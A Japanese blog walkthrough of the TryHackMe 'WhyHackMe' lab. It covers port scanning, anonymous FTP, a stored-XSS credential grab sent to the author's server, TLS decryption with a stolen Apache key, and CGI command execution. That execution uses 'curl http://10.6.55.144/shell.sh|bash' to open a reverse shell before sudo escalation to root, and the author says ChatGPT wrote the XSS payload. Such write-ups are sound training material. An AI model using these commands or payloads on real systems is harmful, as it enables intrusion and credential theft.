0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】WhyHackMe:Walkthrough

Posted at

概要

TryHackMe「WhyHackMe」のWalkthroughです。

Task1

Q1.What is the user flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.171.42 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 47:71:2b:90:7d:89:b8:e9:b4:6a:76:c1:50:49:43:cf (RSA)
|   256 cb:29:97:dc:fd:85:d9:ea:f8:84:98:0b:66:10:5e:6f (ECDSA)
|_  256 12:3f:38:92:a7:ba:7f:da:a7:18:4f:0d:ff:56:c1:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Welcome!!
|_http-server-header: Apache/2.4.41 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41

FTPにAnonymousログインできるので確認するとテキストファイルを発見しました。

$ ftp 10.10.171.42                    
Connected to 10.10.171.42.
220 (vsFTPd 3.0.3)
Name (10.10.171.42:kali): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44008|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
226 Directory send OK.

update.txtの内容から127.0.0.1/dir/pass.txtが侵入の手掛かりになりそうです。

update.txt
Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account. 
- admin

ディレクトリスキャンをします。

$ dirsearch -u http://10.10.171.42
[00:30:59] 301 -  313B  - /assets  ->  http://10.10.171.42/assets/
[00:30:59] 200 -  482B  - /assets/
[00:31:09] 200 -    0B  - /config.php
[00:31:34] 200 -  282B  - /login.php
[00:31:34] 302 -    0B  - /logout.php  ->  login.php
[00:31:53] 200 -  374B  - /register.php

/register.php->login.phpからログインするとブログにコメントが書き込めます。

comment.jpg

usernameフィールドでStored XSSの脆弱性が見つかりました。

username xss.jpg

ペイロードはChatGPTに書いてもらいました。

create paylad.jpg

上記ペイロードをユーザー名にしてアカウントを作成すると127.0.0.1/dir/pass.txtの内容を取得できました。
Username: jack,Password: WhyIsMyPasswordSoStrongIDKが判明しました。

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [19/Oct/2024 13:23:22] code 404, message File not found
127.0.0.1 - - [19/Oct/2024 13:23:22] "GET /dir/pass.txt HTTP/1.1" 404 -
10.10.221.167 - - [19/Oct/2024 13:23:32] code 404, message File not found
10.10.221.167 - - [19/Oct/2024 13:23:32] "GET /collect?data=jack%3AWhyIsMyPasswordSoStrongIDK%0A HTTP/1.1" 404 -

得られた認証情報でSSH接続を試みると成功しました。

$ ssh jack@10.10.221.167
jack@ubuntu:~$

/home/jack/user.txtからユーザーフラグを入手できました。

/home/jack/user.txt
1ca4eb201787acbfcf9e70fca87b866a

A.1ca4eb201787acbfcf9e70fca87b866a

Q2.What is the root flag?

sudo -l/usr/sbin/iptablesを見つけました。

$ sudo -l
[sudo] password for jack: 
Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables

また、/opt配下にpcapファイルを発見しました。

$ ls -la /opt
total 40
drwxr-xr-x  2 root root  4096 Aug 16  2023 .
drwxr-xr-x 19 root root  4096 Mar 14  2023 ..
-rw-r--r--  1 root root 27247 Aug 16  2023 capture.pcap
-rw-r--r--  1 root root   388 Aug 16  2023 urgent.txt

ファイルをダウンロードし、パケットを見るとTLS1.2のパケットがキャプチャされています。

tls1.2.jpg

パケットを復号するために、証明書のキーファイルを探します。

/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:41312>
        ServerName www.example.com
        ServerAdmin webmaster@localhost
        #ErrorLog ${APACHE_LOG_DIR}/error.log
        #CustomLog ${APACHE_LOG_DIR}/access.log combined
        ErrorLog /dev/null
        SSLEngine on
        SSLCipherSuite AES256-SHA
        SSLProtocol -all +TLSv1.2
        SSLCertificateFile /etc/apache2/certs/apache-certificate.crt
        SSLCertificateKeyFile /etc/apache2/certs/apache.key
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        AddHandler cgi-script .cgi .py .pl
        DocumentRoot /usr/lib/cgi-bin/
        <Directory "/usr/lib/cgi-bin">
                AllowOverride All 
                Options +ExecCGI -Multiviews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
        </Directory>
</VirtualHost>

キーファイルが/etc/apache2/certs/apache.keyだと分かりました。
キーファイルをダウンロードします。

Edit->Preferences->Protocols->TLS->RSA keys listからキーファイルをインポートします。

wireshark tls.jpg

image.png

HTTPでフィルタリングすると41312ポートでRCEのパケットを取得できました。

image.png

iptablesで41312ポートを開放します。

$ sudo iptables -I INPUT -p tcp --dport 41312 -j ACCEPT
[sudo] password for jack: 
jack@ubuntu:/opt$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:41312
DROP       tcp  --  anywhere             anywhere             tcp dpt:41312
ACCEPT     all  --  anywhere             anywhere            
ACCEPT     all  --  anywhere             anywhere             ctstate NEW,RELATED,ESTABLISHED
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http
ACCEPT     icmp --  anywhere             anywhere             icmp echo-request
ACCEPT     icmp --  anywhere             anywhere             icmp echo-reply
DROP       all  --  anywhere             anywhere            

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere

https://10.10.221.167:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=idにアクセスするとRCEに成功しています。

image.png

&cmd=curl http://10.6.55.144/shell.sh|bashでリバースシェルを張れました。

$ nc -lvnp 1234 
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.221.167] 49436
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

sudo -lを確認します。

$ sudo -l 
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL

rootでbashを起動し、権限昇格に成功しました。

$ sudo -u root /bin/bash
sudo -u root /bin/bash
root@ubuntu:/usr/lib/cgi-bin#

/root/root.txtからルートフラグを入手できます。

/root/root.txt
4dbe2259ae53846441cc2479b5475c72

A.4dbe2259ae53846441cc2479b5475c72

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?